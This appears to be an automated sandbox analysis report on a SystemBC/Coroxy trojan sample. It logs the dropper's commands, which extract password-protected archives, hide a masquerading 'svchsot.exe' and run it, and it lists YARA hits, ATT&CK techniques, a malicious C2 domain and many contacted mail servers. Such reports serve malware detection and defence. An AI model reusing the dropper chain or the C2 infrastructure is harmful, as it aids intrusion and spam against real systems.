Source: C:\Users\user\AppData\Local\Temp\main\svchsot.exe	Code function: 9_2_004039F9 mov eax, dword ptr fs:[00000030h]		9_2_004039F9

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mode.com mode 65,10	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p11126109881796147432108526241 -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_3.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_2.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_1.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +H "svchsot.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\svchsot.exe "svchsot.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00402744 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

0_2_00402744

Source: C:\Users\user\AppData\Local\Temp\main\7z.exe

Code function: 4_2_00C8D690 cpuid

4_2_00C8D690

Source: C:\Users\user\Desktop\file.exe

Code function: GetLastError,GetLastError,wsprintfW,GetEnvironmentVariableW,GetEnvironmentVariableW,GetLastError,??2@YAPAXI@Z,GetEnvironmentVariableW,GetLastError,lstrcmpiW,??3@YAXPAX@Z,??3@YAXPAX@Z,SetLastError,lstrlenA,??2@YAPAXI@Z,GetLocaleInfoW,_wtol,MultiByteToWideChar,

0_2_0040247D

Source: C:\ProgramData\iihfve\psdirwa.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004039E7 lstrlenW,GetSystemTimeAsFileTime,GetFileAttributesW,memcpy,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,

0_2_004039E7

Source: C:\Users\user\AppData\Local\Temp\main\svchsot.exe

Code function: 9_2_00401141 CoInitialize,CoCreateInstance,GetUserNameW,GetUserNameExW,GetLocalTime,SystemTimeToFileTime,FileTimeToSystemTime,CoUninitialize,

9_2_00401141

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00405BFC ?_set_new_handler@@YAP6AHI@ZP6AHI@Z@Z,GetVersionExW,GetCommandLineW,lstrlenW,wsprintfW,_wtol,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,GetModuleFileNameW,_wtol,??2@YAPAXI@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,wsprintfW,_wtol,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,GetCommandLineW,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,GetCurrentProcess,SetProcessWorkingSetSize,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,CoInitialize,lstrlenW,_wtol,??3@YAXPAX@Z,??3@YAXPAX@Z,GetKeyState,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,GetFileAttributesW,??3@YAXPAX@Z,??3@YAXPAX@Z,_wtol,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,SetLastError,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,SetCurrentDirectoryW,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,MessageBoxA,

0_2_00405BFC

Source: 7z.exe, 00000007.00000003.1693065838.00000241422A0000.00000004.00001000.00020000.00000000.sdmp, svchsot.exe, svchsot.exe, 00000009.00000002.1700366184.0000000000405000.00000004.00000001.01000000.00000007.sdmp, svchsot.exe, 00000009.00000000.1694821473.0000000000405000.00000008.00000001.01000000.00000007.sdmp, psdirwa.exe, 0000000A.00000002.2904340839.0000000000405000.00000004.00000001.01000000.0000000B.sdmp, psdirwa.exe, 0000000A.00000000.1702437994.0000000000405000.00000008.00000001.01000000.0000000B.sdmp, psdirwa.exe.9.dr, svchsot.exe.7.dr

Binary or memory string: a2guard.exe

Stealing of Sensitive Information

Yara detected SystemBC

Source: Yara match	File source: 9.0.svchsot.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.3.7z.exe.241422a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.psdirwa.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.3.7z.exe.241422a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.svchsot.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.0.psdirwa.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000000.1694750590.0000000000401000.00000020.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000000.1702387442.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1700322887.0000000000401000.00000020.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.1693065838.00000241422A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1700643243.0000000000642000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2904281557.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 7z.exe PID: 4588, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchsot.exe PID: 6592, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: psdirwa.exe PID: 4296, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\iihfve\psdirwa.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\main\extracted\svchsot.exe, type: DROPPED

Remote Access Functionality

Yara detected SystemBC

Source: Yara match	File source: 9.0.svchsot.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.3.7z.exe.241422a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.psdirwa.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.3.7z.exe.241422a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.svchsot.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.0.psdirwa.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000000.1694750590.0000000000401000.00000020.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000000.1702387442.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1700322887.0000000000401000.00000020.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.1693065838.00000241422A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1700643243.0000000000642000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2904281557.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 7z.exe PID: 4588, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchsot.exe PID: 6592, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: psdirwa.exe PID: 4296, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\iihfve\psdirwa.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\main\extracted\svchsot.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Access Token Manipulation	1 Masquerading	11 Input Capture	1 System Time Discovery	Remote Services	11 Input Capture	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	23 Native API	1 Scripting	11 Process Injection	11 Virtualization/Sandbox Evasion	LSASS Memory	221 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 DLL Side-Loading	1 Scheduled Task/Job	1 Access Token Manipulation	Security Account Manager	11 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 DLL Side-Loading	11 Process Injection	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	1 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	111 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Obfuscated Files or Information	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	4 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	135 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
C:\ProgramData\iihfve\psdirwa.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\main\extracted\svchsot.exe	100%	Joe Sandbox ML
C:\ProgramData\iihfve\psdirwa.exe	87%	ReversingLabs	Win32.Trojan.Coroxy
C:\Users\user\AppData\Local\Temp\main\7z.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\main\7z.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\main\extracted\svchsot.exe	87%	ReversingLabs	Win32.Trojan.Coroxy

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
smtp.dka.mailcore.net	0%	Virustotal	Browse
heritage-title.com	0%	Virustotal	Browse
box.ua	0%	Virustotal	Browse
5x2.de	0%	Virustotal	Browse
bigpond.net.au	0%	Virustotal	Browse
innovationedge.com	0%	Virustotal	Browse
tslinternational.it	0%	Virustotal	Browse
walla.com	0%	Virustotal	Browse
alt2.aspmx.l.google.com	0%	Virustotal	Browse
cdtm.de	0%	Virustotal	Browse
ns0.ovh.net	0%	Virustotal	Browse
mkv.com	0%	Virustotal	Browse
inovaadministradora.com.br	0%	Virustotal	Browse
optusnet.com.au	0%	Virustotal	Browse
rogers.com	0%	Virustotal	Browse
mta-out.mel.univ-lorraine.fr	0%	Virustotal	Browse
cobusabobus.cam	5%	Virustotal	Browse
smtp.telenet.be	0%	Virustotal	Browse
smtp.interfree.it	0%	Virustotal	Browse
maidsnmore.com	0%	Virustotal	Browse
FRA-efz.ms-acdc.office.com	0%	Virustotal	Browse
smtp.infinito.it	0%	Virustotal	Browse
sympatico.ca	0%	Virustotal	Browse
mta2.spin.it	0%	Virustotal	Browse
mail49.extendcp.co.uk	0%	Virustotal	Browse
freent.de	0%	Virustotal	Browse
relay-ftrcom.glb.frontiernet.net	2%	Virustotal	Browse
smtp.kpnmail.nl	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	0%	URL Reputation	safe
https://sectigo.com/CPS0	0%	URL Reputation	safe
http://ocsp.sectigo.com0	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	0%	URL Reputation	safe
http://usbtor.ru/viewtopic.php?t=798)Z	0%	Avira URL Cloud	safe
cobusabobus.cam	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
smtp.dka.mailcore.net	194.19.134.66	true	false	0%, Virustotal, Browse	unknown
box.ua	178.128.251.242	true	false	0%, Virustotal, Browse	unknown
heritage-title.com	23.253.215.39	true	false	0%, Virustotal, Browse	unknown
5x2.de	104.26.6.119	true	false	0%, Virustotal, Browse	unknown
bigpond.net.au	139.134.5.153	true	false	0%, Virustotal, Browse	unknown
mail.aydinyener.com	92.42.36.37	true	false		unknown
innovationedge.com	107.180.41.245	true	false	0%, Virustotal, Browse	unknown
tslinternational.it	46.28.0.29	true	false	0%, Virustotal, Browse	unknown
smtp-relay-centrumsk.centrum.cz	46.255.231.19	true	false		unknown
walla.com	18.238.243.78	true	false	0%, Virustotal, Browse	unknown
alt2.aspmx.l.google.com	142.251.9.26	true	false	0%, Virustotal, Browse	unknown
out.abcearlylearning.com	34.174.160.103	true	false		unknown
inovaadministradora.com.br	162.241.203.50	true	false	0%, Virustotal, Browse	unknown
server1.ip-net.sk	46.227.176.12	true	false		unknown
cdtm.de	129.187.254.228	true	false	0%, Virustotal, Browse	unknown
mkv.com	94.23.73.225	true	false	0%, Virustotal, Browse	unknown
smtp.blittrup.dk	93.191.156.82	true	false		unknown
ns0.ovh.net	193.70.18.144	true	false	0%, Virustotal, Browse	unknown
securesmtp.strongxl.com	35.182.240.32	true	false		unknown
out.berging.se	94.231.107.219	true	false		unknown
optusnet.com.au	211.29.132.105	true	false	0%, Virustotal, Browse	unknown
smtp.jhoman.co.th	103.13.28.93	true	false		unknown
smtp.riberpallesen.dk	46.30.213.46	true	false		unknown
mta-out.mel.univ-lorraine.fr	193.54.32.8	true	false	0%, Virustotal, Browse	unknown
rogers.com	40.85.218.2	true	false	0%, Virustotal, Browse	unknown
cobusabobus.cam	212.162.153.199	true	true	5%, Virustotal, Browse	unknown
mta2.spin.it	79.143.126.202	true	false	0%, Virustotal, Browse	unknown
smtp.telenet.be	195.130.132.10	true	false	0%, Virustotal, Browse	unknown
smtp.interfree.it	80.91.55.62	true	false	0%, Virustotal, Browse	unknown
smtp.sbg.at	213.153.32.148	true	false		unknown
smtp.fondazioneitscatania.it	62.149.128.200	true	false		unknown
maidsnmore.com	199.59.243.225	true	false	0%, Virustotal, Browse	unknown
FRA-efz.ms-acdc.office.com	40.99.157.50	true	false	0%, Virustotal, Browse	unknown
smtp.kpnmail.nl	195.121.65.26	true	false	0%, Virustotal, Browse	unknown
smtp.infinito.it	194.185.246.171	true	false	0%, Virustotal, Browse	unknown
sympatico.ca	199.85.66.2	true	false	0%, Virustotal, Browse	unknown
relay-ftrcom.glb.frontiernet.net	66.133.129.50	true	false	2%, Virustotal, Browse	unknown
smtp.uniquestudio.it	62.149.128.200	true	false		unknown
freent.de	62.104.23.16	true	false	0%, Virustotal, Browse	unknown
mail49.extendcp.co.uk	79.170.44.49	true	false	0%, Virustotal, Browse	unknown
deltanegocios.com.br	104.21.63.171	true	false		unknown
smtp.netregistry.net	202.124.241.204	true	false		unknown
smtp.centrum.cz	46.255.231.70	true	false		unknown
vodafone.it	45.60.76.192	true	false		unknown
www.lycos.it	209.202.254.90	true	false		unknown
smtp.phnet.fi	83.102.40.117	true	false		unknown
mail.windstream.syn-alias.com	193.122.179.25	true	false		unknown
mail.bg	193.201.172.98	true	false		unknown
pep4teens.de	217.160.0.220	true	false		unknown
sharjah.ac.ae	194.170.95.221	true	false		unknown
smtpy.mta.ca	198.164.44.72	true	false		unknown
nate.com	120.50.131.112	true	false		unknown
mab.com.au	101.0.69.102	true	false		unknown
delord.pl	79.96.63.102	true	false		unknown
pop.mk-netzdienste.de	213.172.96.34	true	false		unknown
mx.breakthur.com	164.90.203.106	true	false		unknown
smtp.gamil.com	192.252.154.117	true	false		unknown
m.dogspot.in	188.114.96.3	true	false		unknown
out.leadlocal.net	108.167.189.113	true	false		unknown
poczta.pl	194.181.93.175	true	false		unknown
yaho.de	13.248.158.7	true	false		unknown
colel.pub.ro	141.85.160.41	true	false		unknown
smtp.alice.de	91.136.8.184	true	false		unknown
mail.essepiauto.it	80.88.87.236	true	false		unknown
smtp.scpa.com.ph	104.27.157.70	true	false		unknown
mx2.zimbra-ilger.com	93.63.176.186	true	false		unknown
mail.buckeyecom.net	209.67.129.55	true	false		unknown
stu.ca	198.164.81.21	true	false		unknown
steilgang.com	138.201.248.141	true	false		unknown
smtp-ha.skymail.net.br	168.0.132.203	true	false		unknown
mdjev.brandenburg.de	194.76.232.141	true	false		unknown
smtp.ceipelalbero.org	164.138.208.23	true	false		unknown
out.provcos.com	204.11.56.50	true	false		unknown
smtp.ahou.fr	142.132.181.81	true	false		unknown
smtp.bbox.fr	194.158.122.55	true	false		unknown
nuclearit.com.au	103.152.248.23	true	false		unknown
mail.thornberg.com	173.203.187.14	true	false		unknown
smtp.secureserver.net	92.204.80.0	true	false		unknown
alt4.aspmx.l.google.com	74.125.200.26	true	false		unknown
sep-kakadu03.au-east.atmailcloud.com	52.62.236.135	true	false		unknown
etatourism.com	185.53.177.51	true	false		unknown
mail2.knology.syn-alias.com	129.159.125.229	true	false		unknown
smtp.cogeco.ca	193.122.131.100	true	false		unknown
smtp.emailn.de	46.182.21.2	true	false		unknown
mx192.mb1p.com	147.182.160.18	true	false		unknown
mail.helmsman.co.uk	160.153.16.9	true	false		unknown
smtp.volny.cz	46.255.231.17	true	false		unknown
shawmail.glb.shawcable.net	64.59.136.142	true	false		unknown
webmail.vox.co.za	41.193.157.227	true	false		unknown
imagecast.com.au	103.226.222.162	true	false		unknown
deepcds.com	208.91.197.132	true	false		unknown
out.co.uk	64.91.253.60	true	false		unknown
tiscali.cz	77.78.119.119	true	false		unknown
unionpayroll.com	192.0.78.170	true	false		unknown
digitalcm.com.br	177.11.54.185	true	false		unknown
smtp-aliant.bell.net	209.71.208.9	true	false		unknown
c-line.de	62.116.169.204	true	false		unknown
pop.us-phx.vox.secureserver.net	68.178.252.117	true	false		unknown
smtp.azet.sk	91.235.53.41	true	false		unknown
winesofargentina.com.ar	162.144.159.205	true	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
cobusabobus.cam	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://usbtor.ru/viewtopic.php?t=798)Z	file.exe	false	Avira URL Cloud: safe	unknown
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	file.exe	false	URL Reputation: safe	unknown
https://sectigo.com/CPS0	file.exe	false	URL Reputation: safe	unknown
http://ocsp.sectigo.com0	file.exe	false	URL Reputation: safe	unknown
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	file.exe	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
198.164.44.72	smtpy.mta.ca	Canada	611	NECN-1-611CA	false
64.136.52.44	smtp.netzero.net	United States	13446	AS-NETZEROUS	false
77.78.119.119	tiscali.cz	Czech Republic	15685	CASABLANCA-ASInternetCollocationProviderCZ	false
209.17.116.10	mail.gjpipe.com	United States	55002	DEFENSE-NETUS	false
194.185.246.171	smtp.infinito.it	Italy	3313	INET-ASIT	false
194.152.32.10	mail.inbox.lv	Latvia	12993	DEAC-ASLV	false
35.182.240.32	securesmtp.strongxl.com	United States	16509	AMAZON-02US	false
198.164.81.21	stu.ca	Canada	611	NECN-1-611CA	false
195.121.65.26	smtp.kpnmail.nl	Netherlands	8737	PTNL	false
104.21.63.171	deltanegocios.com.br	United States	13335	CLOUDFLARENETUS	false
83.223.113.41	sinotechltd.co.uk	United Kingdom	29017	GYRONGB	false
91.192.195.37	osmosispromo.co.uk	United Kingdom	15510	CWCS-PSCompuWebCommunicationsServicesLtdGB	false
103.226.222.162	imagecast.com.au	Australia	38719	DREAMSCAPE-AS-APDreamscapeNetworksLimitedAU	false
13.248.169.48	out.samu.co.uk	United States	16509	AMAZON-02US	false
182.248.170.226	smtp.ezweb.ne.jp	Japan	2516	KDDIKDDICORPORATIONJP	false
46.255.231.19	smtp-relay-centrumsk.centrum.cz	Czech Republic	43614	ECONOMIA-CZ	false
213.250.19.150	mail.siol.net	Slovenia	5603	SIOL-NETTelekomSlovenijeddSI	false
211.29.132.105	optusnet.com.au	Australia	4804	MPX-ASMicroplexPTYLTDAU	false
185.137.168.190	gestaerkt.de	Germany	45012	CLOUDPITDE	false
217.160.233.82	alberry.co.uk	Germany	8560	ONEANDONE-ASBrauerstrasse48DE	false
84.2.43.67	smtp.freemail.hu	Hungary	15545	MT-DC-ASEUHungaryHU	false
92.42.36.37	mail.aydinyener.com	Turkey	49467	EUROTA-ASNEUROTAINTERNETSERVICESLTDTR	false
81.7.169.213	imap.dka.mailcore.net	Denmark	16095	JAYNETSentiaDanmarkASDK	false
23.253.215.39	heritage-title.com	United States	19994	RACKSPACEUS	false
104.22.12.236	mailinator.com	United States	13335	CLOUDFLARENETUS	false
129.159.125.229	mail2.knology.syn-alias.com	United States	14506	ORCL-ASHBURN3US	false
175.135.252.193	mail.biglobe.ne.jp	Japan	2516	KDDIKDDICORPORATIONJP	false
184.106.54.2	mx2.emailsrvr.com	United States	19994	RACKSPACEUS	false
66.133.129.10	relay.glb.frontiernet.net	United States	5650	FRONTIER-FRTRUS	false
84.116.6.19	smtp-virginmedia-com.edge.unified.services	Netherlands	6830	LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding	false
13.248.158.7	yaho.de	United States	16509	AMAZON-02US	false
162.214.54.15	burns-group.com	United States	46606	UNIFIEDLAYER-AS-1US	false
35.214.83.212	b9fire.co.uk	United States	19527	GOOGLE-2US	false
64.59.136.142	shawmail.glb.shawcable.net	Canada	6327	SHAWCA	false
80.91.55.62	smtp.interfree.it	Italy	35130	SFERANET-ASSferaNetworkssrl-TrevioloIT	false
194.76.232.141	mdjev.brandenburg.de	Germany	680	DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	false
66.96.140.50	mx.ayutthayathai.com	United States	29873	BIZLAND-SDUS	false
94.231.107.219	out.berging.se	Denmark	48854	ZITCOMDK	false
217.160.0.220	pep4teens.de	Germany	8560	ONEANDONE-ASBrauerstrasse48DE	false
18.238.243.78	walla.com	United States	16509	AMAZON-02US	false
52.63.237.70	sep-kakadu02.au-east.atmailcloud.com	United States	16509	AMAZON-02US	false
103.11.85.79	mail.orientknits.com	India	132052	CYBERSPACE-INNIL-36CMalviyaNagarIN	false
91.209.104.155	mx1-eu1.ppe-hosted.com	United Kingdom	52129	PROOFPOINT-ASN-EUGB	false
150.136.132.149	mx3.fuse.net	United States	31898	ORACLE-BMC-31898US	false
104.21.37.242	irda.pl	United States	13335	CLOUDFLARENETUS	false
176.9.131.126	securesmtp.selbstschutzcenter.de	Germany	24940	HETZNER-ASDE	false
213.205.32.10	tiscalinet.it	Italy	8612	TISCALI-IT	false
187.108.195.38	semcodar.com.br	Brazil	53107	EVEOServicosdeInternetLtdaBR	false
75.2.96.173	yumm.com	United States	16509	AMAZON-02US	false
204.11.56.50	out.provcos.com	Virgin Islands (BRITISH)	40034	CONFLUENCE-NETWORK-INCVG	false
164.138.208.23	smtp.ceipelalbero.org	Spain	198968	CYBERNETICOSES	false
104.18.2.81	mail.i.ua	United States	13335	CLOUDFLARENETUS	false
129.213.13.252	mail.rcn.com	United States	31898	ORACLE-BMC-31898US	false
104.22.65.144	meta.ua	United States	13335	CLOUDFLARENETUS	false
52.101.194.0	gwynhicks-com.mail.protection.outlook.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
40.85.218.2	rogers.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
94.23.73.225	mkv.com	France	16276	OVHFR	false
2.207.150.234	smtp.vodafonemail.de	Germany	3209	VODANETInternationalIP-BackboneofVodafoneDE	false
212.159.8.240	smtp.totalise.co.uk	United Kingdom	6871	PLUSNETUKInternetServiceProviderGB	false
207.211.30.141	us-smtp-inbound-2.mimecast.com	United States	30031	MIMECAST-US	false
90.216.128.5	sky.com	United Kingdom	5607	BSKYB-BROADBAND-ASGB	false
46.227.176.12	server1.ip-net.sk	Slovakia (SLOVAK Republic)	56349	IP-NETSK	false
103.224.30.254	prusales.com.kh	Cambodia	132730	MBIT-KHMaximumBusinessInformationTechnologyKH	false
164.90.203.106	mx.breakthur.com	United States	14061	DIGITALOCEAN-ASNUS	false
62.24.202.42	mx.talktalk.net	United Kingdom	13285	OPALTELECOM-ASTalkTalkCommunicationsLimitedGB	false
72.52.178.23	kefgames.net	United States	32244	LIQUIDWEBUS	false
84.116.6.22	smtp-ntlworld-com.edge.unified.services	Netherlands	6830	LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding	false
162.144.159.205	winesofargentina.com.ar	United States	46606	UNIFIEDLAYER-AS-1US	false
180.222.13.3	joyrex.net	Australia	18371	NCABLE-APNeighbourhoodCableAU	false
94.143.153.79	mx-avas.mvmnet.com	Italy	49073	MOVIEMENTIT	false
38.111.141.32	mail.atlanticbb.net	United States	4897	ECHO-LABS-LLCUS	false
209.71.208.9	smtp-aliant.bell.net	Canada	577	BACOMCA	false
91.103.219.229	misericordia.co.uk	United Kingdom	198047	UKWEB-EQXGB	false
193.70.18.144	ns0.ovh.net	France	16276	OVHFR	false
195.238.20.30	relay.glb.proximus.be	Belgium	5432	PROXIMUS-ISP-ASBE	false
213.209.1.145	out.virgilio.it	Italy	8660	MATRIX-ASIT	false
157.7.144.20	smtp.heartsaver.jp	Japan	7506	INTERQGMOInternetIncJP	false
195.130.132.10	smtp.telenet.be	Belgium	6848	TELENET-ASBE	false
182.48.49.234	hamamatsu.se	Japan	9371	SAKURA-CSAKURAInternetIncJP	false
124.156.190.79	smtp-v6.exmail.qq.com	Singapore	132203	TENCENT-NET-AP-CNTencentBuildingKejizhongyiAvenueCN	false
154.55.194.116	out.kaptaine.com	United States	174	COGENT-174US	false
168.0.132.203	smtp-ha.skymail.net.br	Brazil	265262	SkymailServicosdeComputacaoeProvimentodeInfBR	false
63.135.90.169	ilike.com	United States	33739	MYSPACEUS	false
40.99.150.18	ooc-g2.tm-4.office.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
212.85.98.214	mcd.com.pl	Poland	12824	HOMEPL-ASPL	false
3.18.7.81	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com	United States	16509	AMAZON-02US	false
62.149.128.203	smtp.unionsrl.it	Italy	31034	ARUBA-ASNIT	false
80.88.87.236	mail.essepiauto.it	Italy	31034	ARUBA-ASNIT	false
62.149.128.200	smtp.fondazioneitscatania.it	Italy	31034	ARUBA-ASNIT	false
64.90.62.162	mail.siprep.org	United States	26347	DREAMHOST-ASUS	false
62.149.128.202	smtp.newprestitempo.it	Italy	31034	ARUBA-ASNIT	false
62.149.188.200	pec.it	Italy	31034	ARUBA-ASNIT	false
52.62.236.135	sep-kakadu03.au-east.atmailcloud.com	United States	16509	AMAZON-02US	false
194.153.145.104	abv.bg	Bulgaria	13147	NETINFO12EmilBersinskiStrBG	false
46.28.0.29	tslinternational.it	Italy	52030	SERVERPLAN-ASIT	false
129.159.94.43	mail.tds.syn-alias.com	United States	14506	ORCL-ASHBURN3US	false
91.196.0.18	maize.com.ua	Ukraine	41550	HBUA-ASUA	false
